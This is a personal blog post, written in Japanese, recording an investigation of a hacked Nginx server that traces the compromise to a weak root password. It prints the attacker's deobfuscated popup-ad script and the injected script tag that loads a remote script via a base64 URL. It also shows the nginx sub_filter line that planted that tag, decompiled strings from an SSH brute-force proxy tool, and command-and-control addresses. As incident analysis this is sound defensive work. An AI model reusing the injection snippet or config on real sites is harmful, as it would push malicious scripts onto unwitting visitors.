banner
Fei_xiangShi

FXLOG

你在这里发现了我, 说明了什么呢?

Nginxが侵入された事件の記録

0x01 原因#

私が普段通りに PVE を開いて原神をプレイしようとしたとき、なんと Nginx (1.18) のデフォルトページに JS が注入されていることに気づきました。彼は JQuery に偽装していて、とても面白いです。

image

JS 逆混淆#

この JS を確認すると、混淆されていることがわかりましたので、逆混淆を行います。

image

image

逆混淆されたコードは以下の通りです:

(() => { 
    const config = {
        key: "13792427ab60437bafb55088e45e0e06",
        address: "https://bootscritp.com/lib/jquery/4.7.2/index.html",  
        imageUrl: "https://bootscritp.com/lib/jquery/4.7.2/1.gif", 
        jumpPercent: 100,   // パーセンテージ制御
        jumpCount: 1,       // 毎日最大何回ポップアップするか
        debug: false        // デバッグスイッチ(true = 強制ポップアップ)
    };

    function createPopup() {
        if (document.getElementById("popup-container")) return;
        const html = `
        <div id="popup-container" 
             style="display:none;position:fixed;top:0;left:0;width:100%;height:100%;
                    background:rgba(0,0,0,0.6);z-index:999999;">
          <div id="popup-box" 
               style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);
                      border-radius:12px;max-width:90%;background:transparent;">
            <div style="text-align:right;position:absolute;top:-35px;right:-5px;">
              <span id="popup-close" 
                    style="cursor:pointer;font-size:26px;font-weight:bold;color:#fff;
                           transition:color 0.3s;">&#10006;</span>
            </div>
            <div style="text-align:center;">
              <img id="popup-image" alt="クリックして入る" 
                   style="cursor:pointer;width:90%;max-width:600px;border-radius:12px;">
            </div>
          </div>
        </div>`;
        document.body.insertAdjacentHTML("beforeend", html);
    }

    function showPopup() {
        createPopup();
        const popup = document.getElementById("popup-container");
        const box   = document.getElementById("popup-box");
        const img   = document.getElementById("popup-image");
        const closeBtn = document.getElementById("popup-close");

        if (popup) popup.style.display = "block";
        if (img) {
            img.src = config.imageUrl;
            img.addEventListener("click", () => window.location.href = config.address);
        }
        if (closeBtn) {
            closeBtn.addEventListener("click", () => popup.style.display = "none");
            closeBtn.addEventListener("mouseover", () => closeBtn.style.color = "red");
            closeBtn.addEventListener("mouseout", () => closeBtn.style.color = "#fff");
        }
        if (popup) popup.addEventListener("click", () => popup.style.display = "none");
        if (box) box.addEventListener("click", (e) => e.stopPropagation());
    }

    function conditionCheck() {
        if (config.debug) { showPopup(); return; }

        let data = {};
        try { data = JSON.parse(localStorage.getItem(config.key)) || {}; } catch {}
        const today = new Date().toISOString().split("T")[0];
        if (data.date !== today) data = { date: today, count: 0 };

        if (data.count >= config.jumpCount || Math.random() * 100 >= config.jumpPercent) return;

        // 中国本土のIPのみ許可
        fetch("https://api.ip.sb/geoip")
            .then(r => r.json())
            .then(json => {
                console.log("GeoIPの返却:", json);
                if (json.country_code === "CN") {
                    data.count++;
                    localStorage.setItem(config.key, JSON.stringify(data));
                    showPopup();
                }
            })
            .catch(err => console.warn("GeoIP失敗", err));
    }

    if (document.readyState === "loading") {
        document.addEventListener("DOMContentLoaded", conditionCheck);
    } else {
        conditionCheck();
    }
})();

ポルノ広告#

これは毎回トリガーされるスクリプトではないことがわかります。皆さんの好奇心を満たすために、私はすぐに実行してみます。

image

image

0x02 位置#

これは国内のあるサーバー提供者が提供する、寧波にあるサーバーです。サーバーはある会社名義で登録されています。このような厳しい条件下で攻撃が行われるのは非常に興味深いです。それでは、被害者の Nginx から調査を始めましょう。

root@server-rMGU1XbC:~# curl 127.0.0.1
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
<script>document.cookie="hasVisited178a=1;Max-Age=86400;Path=/";(function(){var hm=document.createElement("script");hm.src=atob("aHR0cHM6Ly9ib290c2NyaXRwLmNvbS9saWIvanF1ZXJ5LzQuNy4yL2pxdWVyeS5taW4uanM=");var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(hm,s);})();</script>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>このページが表示される場合、nginxウェブサーバーが正常にインストールされ、動作しています。さらなる設定が必要です。</p>

<p>オンラインドキュメントとサポートについては、<a href="http://nginx.org/">nginx.org</a>をご参照ください。<br/>
商業サポートは<a href="http://nginx.com/">nginx.com</a>で利用可能です。</p>

<p><em>nginxをご利用いただきありがとうございます。</em></p>
</body>
</html>

サーバーにログインした後、ローカルにリクエストを行うと、やはり汚染されていることがわかりました。それでは、どこが攻撃されたのかを順に調査していきましょう。

まずは Nginx の設定ファイルを見てみましょう。

cat /etc/nginx/nginx.conf

...
sub_filter_types text/html;
    sub_filter '</head>' '<script>document.cookie="hasVisited178a=1;Max-Age=86400;Path=/";(function(){var hm=document.createElement("script");hm.src=atob("aHR0cHM6Ly9ib290c2NyaXRwLmNvbS9saWIvanF1ZXJ5LzQuNy4yL2pxdWVyeS5taW4uanM=");var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(hm,s);})();</script>
</head>';
    sub_filter_once off;
...

Nginx のすべてのウェブページにヘッダーが追加されていることがわかります。

root@server-rMGU1XbC:~# cat /usr/share/nginx/html/index.html 
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>このページが表示される場合、nginxウェブサーバーが正常にインストールされ、動作しています。さらなる設定が必要です。</p>

<p>オンラインドキュメントとサポートについては、<a href="http://nginx.org/">nginx.org</a>をご参照ください。<br/>
商業サポートは<a href="http://nginx.com/">nginx.com</a>で利用可能です。</p>

<p><em>nginxをご利用いただきありがとうございます。</em></p>
</body>
</html>

ローカルの Nginx のホームページファイルは変更されていないので、Nginx 自体が攻撃されていないか再確認します。

root@server-rMGU1XbC:~# which nginx
/usr/sbin/nginx
root@server-rMGU1XbC:~# md5sum /usr/sbin/nginx 
1317754528e1c486b6f1e8b363062683  /usr/sbin/nginx

問題はないようです。それでは、誰が Nginx の設定を変更したのでしょうか。

0x03 調査#

lsof で確認してみましょう。

proxy-age 3906587            root    6u  IPv4 643527364      0t0  TCP server-rMGU1XbC:40482->auditbitcoin.supply:ssh (ESTABLISHED)
proxy-age 3906587            root    7u  IPv4 643523331      0t0  TCP server-rMGU1XbC:59370->vps-ca4bf331.vps.ovh.net:ssh (ESTABLISHED)
proxy-age 3906587            root    8u  IPv4 643527858      0t0  TCP server-rMGU1XbC:41792->server.pagesplus.nl:ssh (ESTABLISHED)
proxy-age 3906587            root    9u  IPv4 643486279      0t0  TCP server-rMGU1XbC:14106->au.ssdvps.xyz:ssh (ESTABLISHED)
proxy-age 3906587            root   10u  IPv4 643524301      0t0  TCP server-rMGU1XbC:19748->static.23.122.90.157.clients.your-server.de:ssh (ESTABLISHED)
proxy-age 3906587            root   11u  IPv4 643524645      0t0  TCP server-rMGU1XbC:58688->95.216.13.40:ssh (ESTABLISHED)

proxy-agent#

PID を使ってこれが何かを確認します。

root@server-rMGU1XbC:~# sudo lsof -p 3906587
COMMAND       PID USER   FD      TYPE    DEVICE SIZE/OFF      NODE NAME
proxy-age 3906587 root  cwd       DIR      8,17     4096      1684 /tmp/.mjdjuxxcydy/k
proxy-age 3906587 root  rtd       DIR      8,17     4096         2 /
proxy-age 3906587 root  txt       REG      8,17  8587347      2571 /tmp/.mjdjuxxcydy/k/proxy-agent
proxy-age 3906587 root  mem       REG      8,17  2029592     15376 /usr/lib/x86_64-linux-gnu/libc-2.31.so
proxy-age 3906587 root  mem       REG      8,17   157224     15389 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
proxy-age 3906587 root  mem       REG      8,17   101352     15390 /usr/lib/x86_64-linux-gnu/libresolv-2.31.so
proxy-age 3906587 root  mem       REG      8,17   191504     15372 /usr/lib/x86_64-linux-gnu/ld-2.31.so
proxy-age 3906587 root    0r     FIFO      0,13      0t0 174659017 pipe
proxy-age 3906587 root    1w      CHR       1,3      0t0         6 /dev/null
proxy-age 3906587 root    2w      CHR       1,3      0t0         6 /dev/null
proxy-age 3906587 root    3w      CHR       1,3      0t0         6 /dev/null
proxy-age 3906587 root    4u  a_inode      0,14        0     11318 [eventpoll]
proxy-age 3906587 root    5u  a_inode      0,14        0     11318 [eventfd]

非常に典型的な/tmpパスです。ちょっと見てみましょう。

root@server-rMGU1XbC:/tmp/newpop# ls -a /tmp
.           .XIM-unix     cc.2         newpop            sshbot                                                                             uv-5abec762cab0104e.lock
..          .font-unix    cc.3         nginx-test        systemd-private-8ad1e99f07844f46aa091036c4b902b8-ModemManager.service-hcplzi
.ICE-unix   .mjdjuxxcydy  envnew       nginx_cache       systemd-private-8ad1e99f07844f46aa091036c4b902b8-systemd-logind.service-FYj7gj
.Test-unix  aa.txt        envnew.tgz   nus               systemd-private-8ad1e99f07844f46aa091036c4b902b8-systemd-timesyncd.service-CEKp4h
.X11-unix   cc.1          initial.log  snap-private-tmp  systemd-private-8ad1e99f07844f46aa091036c4b902b8

この proxy-agent があるディレクトリ.mjdjuxxcydynewpopsshbotは非常に疑わしいです。適当に一つをローカルに持ってきてみましょう。

まずは Qihoo 360 に送って実証してから、自分でじっくり分析します。

image

 file proxy-agent
proxy-agent: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=o6eaCr6JBkZCyBoMHfJX/LYWJHnsdDphndSyRnfVW/YgvgIxWc08bxgG1gT0mk/XcdJH4nBZKd8zbsHni3G, with debug_info, not stripped

《with debug_info, not stripped》
Go 言語で書かれていて、デバッグ情報が残っています。ちょっと見てみましょう。

 ldd proxy-agent
	linux-vdso.so.1 (0x00007fdb32bb8000)
	libresolv.so.2 => /usr/lib/libresolv.so.2 (0x00007fdb32b62000)
	libpthread.so.0 => /usr/lib/libpthread.so.0 (0x00007fdb32b5d000)
	libc.so.6 => /usr/lib/libc.so.6 (0x00007fdb32800000)
	/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fdb32bba000)

特に問題はありません。IDA でちょっと見てみましょう。

image

image

v87.str = (uint8 *)"http://147.182.224.216/gzip.exe";
v87.len = 31LL;
main_getPasswordFromURL(v87, *(string_0 *)&v0, v2, v3, v55);
v73.str = v87.str;
s = 31LL;
if ( v5 )
{
  *(_OWORD *)&v.array = v4;
  v.array = *(interface__0 **)(v5 + 8);
  v.len = v1;
  v88.str = (uint8 *)"Failed to fetch password: %v\n";
  v88.len = 29LL;
  v96.array = (interface__0 *)&v;
  v96.len = 1LL;
  log_Fatalf(v88, v96);
}
v98.str = (uint8 *)&byte_72937A;
v98.len = 3LL;
v81.str = (uint8 *)"ips.txt\x1B[1;33mFreeBSDUsage:\nfloat32float64UpgradeupgradeCONNECTarcfourssh-rsassh-dsssessionsshtypeTrailersocks5hHEADERSReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGname %q:method:scheme:statushttp://chunkedCreatedIM UsedTuesdayJanuaryOctoberinvaliduintptrChanDir Value>ConvertforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWN:events, goid= s=nil\n (scan  MB in pacer: % CPU ( zombie, j0 = head = ,errno=panic:  nmsys= locks= dying= allocsrax    rbx    rcx    rdx    rdi    rsi    rbp    rsp    r8     r9     r10    r11    r12    r13    r14    r15    rip    rflags cs     fs     gs     Signal signal  m->g0= pad1=  pad2=  text= minpc= \tvalue= (scan)\ttypes : type 19531259765625nil keytls3desderivedInitialconnectlookup writetoSHA-224SHA-256SHA-384SHA-512Ed25519MD5-RSAserial:ExpiresSubjectcharsetavx512fos/execruntimeeae_prkanswers2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9amxtileamxint8amxbf16osxsavepass.txtSSH port%Domain%%domain%%DOMAIN%uname -adurationGoStringNO_PROXYno_proxyHTTP/1.1RSV1 setRSV2 setRSV3 setbad MASK3des-cbcpasswordhost keynistp256nistp384nistp521hijackedNO_ERRORPRIORITYSETTINGSLocation data=%q incr=%v ping=%qif-matchlocationhttp/1.1HTTP/2.0no-cacheContinueAcceptedConflictreadlinksendfilenil PoolThursdaySaturdayFebruaryNovemberDecember%!Month(scavengepollDesctraceBufdeadlockraceFinipanicnilcgocheckrunnable procid  is not  pointer, errno= packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=) errno=[signal  newval= mcount= bytes, \n-----\n\n stack=[ minLC=  maxpc= \tstack=[ minutes status= etypes 48828125strconv.parsing ParseInttlskyberCurveID(finishedexporternetedns0[::1]:53continue_gatewayshutdowninvalid address raw-readreadfromunixgramMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512SHA1-RSADSA-SHA1x509sha1DNS nameReceivedif-rangeno anodeavx512bwavx512vlgo/typesnet/httpgo/buildClassANYQuestion2.5.4.102.5.4.112.5.4.17avx512cdavx512eravx512pfavx512dqpasswords%alldoms%lschlegelwebsocket";
v81.len = 7LL;
v82.str = (uint8 *)"File containing domain and IP pairs";
v82.len = 35LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v82, v6);
_r0.len = v7;
v98.str = (uint8 *)"passwords%alldoms%lschlegelwebsocket";
v98.len = 9LL;
v81.str = (uint8 *)"pass.txtSSH port%Domain%%domain%%DOMAIN%uname -adurationGoStringNO_PROXYno_proxyHTTP/1.1RSV1 setRSV2 setRSV3 setbad MASK3des-cbcpasswordhost keynistp256nistp384nistp521hijackedNO_ERRORPRIORITYSETTINGSLocation data=%q incr=%v ping=%qif-matchlocationhttp/1.1HTTP/2.0no-cacheContinueAcceptedConflictreadlinksendfilenil PoolThursdaySaturdayFebruaryNovemberDecember%!Month(scavengepollDesctraceBufdeadlockraceFinipanicnilcgocheckrunnable procid  is not  pointer, errno= packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=) errno=[signal  newval= mcount= bytes, \n-----\n\n stack=[ minLC=  maxpc= \tstack=[ minutes status= etypes 48828125strconv.parsing ParseInttlskyberCurveID(finishedexporternetedns0[::1]:53continue_gatewayshutdowninvalid address raw-readreadfromunixgramMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512SHA1-RSADSA-SHA1x509sha1DNS nameReceivedif-rangeno anodeavx512bwavx512vlgo/typesnet/httpgo/buildClassANYQuestion2.5.4.102.5.4.112.5.4.17avx512cdavx512eravx512pfavx512dqpasswords%alldoms%lschlegelwebsocket";
v81.len = 8LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v84, v10);
v70 = v11;
v98.str = (uint8 *)&byte_7ACE40;
v98.len = 1LL;
v81.str = (uint8 *)&byte_72937D;
v81.len = 3LL;
v85.str = (uint8 *)"Timeout duration";
v85.len = 16LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v85, v12);
v69 = v13;
v98.str = (uint8 *)"serverport";
v98.len = 10LL;
v81.str = (uint8 *)"9595\x1B[0mroottrueuint:443httpnoneABRTALRMKILLPIPEQUITSEGVTERMexecunixreadSSH-Host&lt;&gt;idle1080DATAPINGPOSTEtag0x%xdateetagfromhostlinkvaryDategzip%x\r\nGoneopenstatsyncfileJuneJuly as hour in /etcboolint8chanfunccallkind on  != allgallpitabsbrkdead is LEAFbase of ) =  <==GOGC] = s + ,r2= pc=+Inf-Inf: p=cas1cas2cas3cas4cas5cas6 at \n\tm= sp= sp: lr: fp= gp= mp=) m=3125Atoiicmpigmpftpspop3smtpdial \r\t\nbindasn1Fromxn--ermssse3avx2bmi1bmi2timebitsNameTypecx16sse2%s:%s<nil>LinuxSunossvr04falsevaluefloat  -%sErrorhttpswrite&amp;&#34;&#39;:***@Rangerangeclose:path%s %q%s=%sHTTP/socksFoundlstatMarchAprilmonthLocalGreekint16int32int64uint8arrayslice and defersweeptestRtestWexecWhchanexecRschedsudogtimergscanmheaptracepanicsleep cnt=gcing MB,  got= ...\n max=scav  ptr ] = (trap:init  ms, fault tab= top=[...], fp:1562578125tls: Earlylinuxfilesimap2imap3imapspop3shostsparseSHA-1P-224P-256P-384P-521ECDSAutf-8%s*%dtext/bad nsse41sse42ssse3 (at Class...155%User%%user%Darwinnodorrstring\n    \tStringFormat[]byteBasic serveractiveclosedsocks5CANCELGOAWAYPADDEDCookieacceptallow";
v81.len = 4LL;
v86.str = (uint8 *)"Port for receiving data";
v86.len = 23LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v86, v14);
v68 = v15;
main_concurrency = 1000LL;
v98.str = (uint8 *)&go_itab__ptr_flag_intValue_comma_flag_Value;
v98.len = (int)&main_concurrency;
*(_QWORD *)v16 = &byte_7AE7D0;
*(_QWORD *)&v16[8] = 1LL;
*(_QWORD *)&v16[16] = "Concurrency level for SSH attempts";
*(_QWORD *)&v16[24] = 34LL;
flag__ptr_FlagSet_Var(flag_CommandLine, (flag_Value_0)v98, *(string_0 *)v16, *(string_0 *)&v16[16]);
if ( !os_Args.len )
  runtime_panicSliceB();
v17 = os_Args.len - 1;
*(_QWORD *)v16 = os_Args.cap - 1;
*(_QWORD *)&v16[8] = ((1 - os_Args.cap) >> 63) & 0x10;
v18 = (char *)os_Args.array + *(_QWORD *)&v16[8];
flag__ptr_FlagSet_Parse(flag_CommandLine, *(_slice_string_0 *)&v16[-16], *(error_0 *)&v16[8]);
v19 = *v69;
v20 = v69[1];
time_ParseDuration(*(string_0 *)(&v20 - 1), v21, *(error_0 *)v16);
elem = v24;
if ( v20 )
{
  *(_OWORD *)&v.array = v4;
  v.array = *(interface__0 **)(v20 + 8);
  v.len = v22;
  v89.str = (uint8 *)"Invalid timeout value: %v";
  v89.len = 25LL;
  p_v = &v;
  *(_QWORD *)v16 = 1LL;
  *(_QWORD *)&v16[8] = 1LL;
  log_Fatalf(v89, *(_slice_interface__0 *)&v16[-8]);
}
len = _r0.len;
v90 = *(string_0 *)_r0.len;
main_loadDomainIPs(
  *(string_0 *)_r0.len,
  *(_slice_main_domainIP *)&v16[-8],
  *(_slice_main_domainIP *)&v16[16],
  v56,
  v58);
v73.len = (int)v90.str;
v63 = v90.len;
if ( *(_QWORD *)v16 )
{
  *(_OWORD *)&v.array = v4;
  v.array = *(interface__0 **)(*(_QWORD *)v16 + 8LL);
  v.len = *(_QWORD *)&v16[8];
  v91.str = (uint8 *)"Failed to load domain and IP pairs from file: %vbufio: writer returned negative count from Write";
  v91.len = 48LL;
  v27 = &v;
  *(_QWORD *)v16 = 1LL;
  *(_QWORD *)&v16[8] = 1LL;
  log_Fatalf(v91, *(_slice_interface__0 *)&v16[-8]);
}
array = _r0.array;
v92 = *_r0.array;
main_loadPasswords(*_r0.array, *(_slice_string_0 *)&v16[-8], *(_slice_string_0 *)&v16[16], v57, v59);
str = v92.str;
v61 = v92.len;
if ( *(_QWORD *)v16 )
{
  *(_OWORD *)&v.array = v4;
  v.array = *(interface__0 **)(*(_QWORD *)v16 + 8LL);
  v.len = *(_QWORD *)&v16[8];
  v93.str = (uint8 *)"Failed to load passwords from file: %v";
  v93.len = 38LL;
  v30 = &v;
  *(_QWORD *)v16 = 1LL;
  *(_QWORD *)&v16[8] = 1LL;
  log_Fatalf(v93, *(_slice_interface__0 *)&v16[-8]);
}
v94.str = v73.str;
v94.len = s;
strings_TrimSpace(v94, *(string_0 *)&v16[-8]);
if ( main_defaultPassword.len != s || (runtime_memequal(), !v32) )
{
  v95.str = (uint8 *)"Incorrect password. Exiting...\n";
  v95.len = 31LL;
  v97.array = 0LL;
  *(_OWORD *)&v97.len = 0uLL;
  log_Fatalf(v95, v97);
}

各関数を注意深く見た結果、このソフトウェアは Nginx のページが改ざんされる原因ではなく、私たちのマシンをプロキシとして使って他のサーバーを攻撃するためのプロキシソフトウェアであることがわかりました。それでは、さらに分析を続けます。

brute#

sshbotフォルダに入ると、bruteという実行ファイルが見つかりました。

bruteはサーバーのアカウントとパスワードを破壊するために使用され、proxy-agentと組み合わせて他の被害者を攻撃します。

image

dockers#

ps auxを確認すると、夏休みに起動した多くのdockersプロセスが見つかりました。表示された実行パスはありますが、実地調査ではファイルがすでに削除されており、コアダンプだけが残っていました。

root     3578741  0.0  0.1  15896  3828 ?        S    Jul17   5:09 /usr/sbin/dockers
root     3664316  0.0  0.1  15900  3836 ?        S    Jul17   0:31 /usr/sbin/dockers
root     3690959  0.0  0.2  16028  3968 ?        S    Jul18   4:58 /usr/sbin/dockers
root     3694008  0.0  0.1  16032  3904 ?        S    Jul18   5:01 /usr/sbin/dockers
root     3694116  0.0  0.1  15892  3816 ?        S    Jul18   4:54 /usr/sbin/dockers
root     3694272  0.0  0.1  16032  3840 ?        S    Jul18   4:56 /usr/sbin/dockers
root     3695142  0.0  0.1  15900  3824 ?        S    Jul18   5:06 /usr/sbin/dockers
root     3696764  0.0  0.1  15900  3840 ?        S    Jul18   4:54 /usr/sbin/dockers
root     3698274  0.0  0.1  16024  3868 ?        S    Jul18   4:57 /usr/sbin/dockers
root     3701017  0.0  0.1  15900  3836 ?        S    Jul18   4:59 /usr/sbin/dockers
root     3701045  0.0  0.1  15896  3832 ?        S    Jul18   5:05 /usr/sbin/dockers
root     3790827  0.0  0.2  15896  4212 ?        S    Jul18   4:58 /usr/sbin/dockers
root     3829224  0.0  0.2  15900  4160 ?        S    Jul19   5:00 /usr/sbin/dockers

適当に一つをgcoreでメモリダンプを取得し、コアダンプを得ました。

gcore -o ./dump 3829224

IDA で見てみましょう。

image

Perl スクリプトのようです。文字列をさらに見てみましょう。

image

PnP と IRC、間違いなくボットネットです。dockersはおそらく私たちの上位サーバーを制御し、私たちを使って他の肉鶏を制御するためのソフトウェアです。

lsofで dockers の通信 IP を確認し、どの肉鶏がいるのかを見てみましょう。

image

なんとスイスにいることがわかりました。

0x04 水落ち石出#

ps auxを続けて確認すると、長い間実行されていたsshdプロセスが見つかり、このスイスの185.208.158.91の IP がずっと私たちのサーバーに接続していることがわかりました。本当に大胆ですね、全く隠そうともしません。

root     3809994 57.6  0.2  16656  5564 ?        R    Aug20 18319:18 /usr/sbin/sshd -i
root@server-rMGU1XbC:/var/log# sudo netstat -natp | grep 3809994
tcp        0      0 110.xxx.98.xxx:39290     185.208.158.91:6667     ESTABLISHED 3809994/sshd -i

この IP を使って SSH 接続しているものを全体検索してみます。

sudo grep -r "185.208.158.91" /etc /var /home

ログが見つかりました。

Sep 01 06:35:43 server-rMGU1XbC sshd[1074275]: Accepted password for root from 185.208.158.91 port 60788 ssh2
Sep 01 06:35:43 server-rMGU1XbC sshd[1074275]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 01 06:35:43 server-rMGU1XbC systemd[1]: Started Session 24621 of user root.
Sep 01 06:35:43 server-rMGU1XbC systemd-logind[677]: New session 24621 of user root.
Sep 01 06:35:46 server-rMGU1XbC casaos[1403]: {"time":"2025-09-01T06:35:46.000736436+08:00","id":"","remote_ip":"127.0.0.1","host":"127.0.0.1:45671","method":"POST","uri":"/v1/notify/>
Sep 01 06:35:46 server-rMGU1XbC casaos[1403]: {"time":"2025-09-01T06:35:46.015785227+08:00","id":"","remote_ip":"127.0.0.1","host":"127.0.0.1:45671","method":"POST","uri":"/v1/notify/>
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: /bin/bash -c source /usr/share/casaos/shell/helper.sh ;GetNetCard 2
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: eth0
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: /bin/bash -c source /usr/share/casaos/shell/helper.sh ;CatNetCardState eth0
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: up
Sep 01 06:35:47 server-rMGU1XbC casaos-message-bus[1249]: {"time":"2025-09-01T06:35:47.033515811+08:00","id":"","remote_ip":"127.0.0.1","host":"127.0.0.1:33341","method":"POST","uri":>
Sep 01 06:35:47 server-rMGU1XbC sshd[1074275]: pam_unix(sshd:session): session closed for user root
Sep 01 06:35:47 server-rMGU1XbC systemd-logind[677]: Session 24621 logged out. Waiting for processes to exit.

《Accepted password》
サーバーにはブルートフォース攻撃失敗時の ban 防御プログラムがあるはずなのに、どうしてパスワードが知られてしまったのでしょうか。
(考える)

警戒 *

image

やはり古い運用者もこういうミスを犯すことがあります。元々、合資会社と同級生とこのサーバーを購入する際に、何度も「簡単なパスワードを設定しないように」と警告していたのに、複雑なパスワードは覚えにくい、トークンログインは不便だといった理由でごまかされてしまい、結局何も解決しませんでした。

何かソフトウェアが古すぎて CVE が見つかったのかと思っていましたが、結局はソーシャルエンジニアリングが技術よりも強いということですね。

今、最も急務なのはシステムを再インストールし、パスワードを変更し、その後ブログを書いて自分に警告することです。

0x05 後記#

誰が 20GB のサーバーに NAS をインストールしたのか、使いにくいのかどうかはわかりませんが、ユーザーデータをパーティション分けしていないため、システムを再インストールするとすべてのデータが消えてしまいます。

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。